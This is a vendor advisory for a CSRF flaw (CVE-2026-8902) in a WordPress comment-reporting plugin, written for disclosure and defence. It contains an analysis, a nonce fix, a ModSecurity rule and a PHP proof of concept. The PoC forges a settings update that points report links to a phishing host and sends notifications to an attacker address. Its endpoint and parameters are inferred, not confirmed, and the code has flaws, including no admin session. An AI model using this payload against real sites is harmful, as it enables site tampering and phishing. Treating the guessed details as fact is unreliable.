Atomic Edge analysis of CVE-2026-8902 (metadata-based):
This is a Cross-Site Request Forgery (CSRF) vulnerability in the AJAX Report Comments plugin for WordPress, affecting all versions up to and including 2.0.4. The vulnerability exists in the rc_options_page function, which lacks proper nonce validation. An unauthenticated attacker can trick a site administrator into performing a forged request that modifies plugin settings. The CVSS score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N.
Root Cause: The WordPress plugin uses the rc_options_page function to handle plugin settings updates. Based on the CWE-352 classification and the vulnerability description, the function likely calls register_setting or processes form submissions without implementing a WordPress nonce field (wp_nonce_field) or verifying the nonce (wp_verify_nonce or check_admin_referer). All WordPress admin pages and settings forms should include a nonce to prevent CSRF attacks. Atomic Edge analysis infers the missing nonce check from the description, as no source code is available for confirmation.
Exploitation: An attacker crafts a malicious link or leverages an HTML form submission on a third-party site targeting the vulnerable endpoint. The attack targets the WordPress admin settings page for the plugin, likely at /wp-admin/options-general.php?page=report-comments or a custom admin URL. The attacker crafts a POST request containing parameters like rc_link_text, rc_link_markup, rc_success_message, rc_failure_message, rc_already_reported_message, rc_comment_threshold, rc_cookie_duration, rc_reporter_comment_toggle, rc_notification_email, rc_notification_subject, and rc_notification_body. When the administrator clicks the link while authenticated, the request executes, altering plugin settings.
Remediation: The fix requires adding a WordPress nonce field to the settings form using wp_nonce_field(‘rc_settings_action’, ‘rc_settings_nonce’) and verifying it in the rc_options_page function with if (!isset($_POST[‘rc_settings_nonce’]) || !wp_verify_nonce($_POST[‘rc_settings_nonce’], ‘rc_settings_action’)) { return; }. This standard WordPress CSRF protection prevents unauthorized requests from modifying settings.
Impact: An attacker can modify plugin settings to change comment reporting messages, link text, and notification emails. This could enable phishing attacks by altering messages displayed to users, redirecting links to malicious sites, or causing denial of service by disabling or corrupting comment reporting functionality. However, the impact is limited to settings modification without direct data exposure or privilege escalation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8902 (metadata-based)
# Blocks CSRF exploitation by targeting the plugin's settings update endpoint without nonce
SecRule REQUEST_URI "@rx ^/wp-admin/options-general.php$"
"id:20268902,phase:2,deny,status:403,chain,msg:'CVE-2026-8902 - AJAX Report Comments CSRF settings update',severity:'CRITICAL',tag:'CVE-2026-8902'"
SecRule ARGS:page "@streq report-comments" "chain"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:rc_link_text "@rx .*" "chain"
SecRule ARGS_POST:rc_notification_email "@rx .*" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8902 - AJAX Report Comments <= 2.0.4 - Cross-Site Request Forgery to Settings Update
// Configuration: Change these values
$target_url = 'http://example.com'; // WordPress site URL
$admin_url_path = '/wp-admin/options-general.php'; // Typical settings page, adjust if plugin uses different page slug
$plugin_page = 'report-comments'; // Plugin's admin page slug (inferred from plugin slug)
// CSRF payload: forge a POST request to update plugin settings
$payload = array(
'option_page' => 'rc-settings-group', // Inferred WordPress settings API group
'action' => 'update',
'_wp_http_referer' => $admin_url_path . '?page=' . $plugin_page,
'rc_link_text' => 'Report this comment [PHISHING]', // Malicious link text
'rc_link_markup' => '<a href="https://malicious.example.com/phish">Report</a>', // Attacker-controlled markup
'rc_success_message' => 'Thank you for reporting.',
'rc_failure_message' => 'Report failed. Please try again.',
'rc_already_reported_message' => 'You already reported this comment.',
'rc_comment_threshold' => '5',
'rc_cookie_duration' => '30',
'rc_reporter_comment_toggle' => '1', // Enable reporter comment
'rc_notification_email' => 'attacker@example.com', // Redirect notifications to attacker
'rc_notification_subject' => 'Comment Reported',
'rc_notification_body' => 'A comment was reported.',
// Note: No nonce field is intentionally omitted (vulnerability is missing nonce validation)
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $admin_url_path . '?page=' . $plugin_page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, true);
// Execute the request (simulates admin clicking link while authenticated)
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Status Code: " . $http_code . "n";
if ($http_code == 200 || $http_code == 302) {
echo "[+] CSRF exploit likely succeeded. Check plugin settings on the target site.n";
} else {
echo "[-] Exploit may have failed. Verify the admin URL and plugin page slug.n";
}
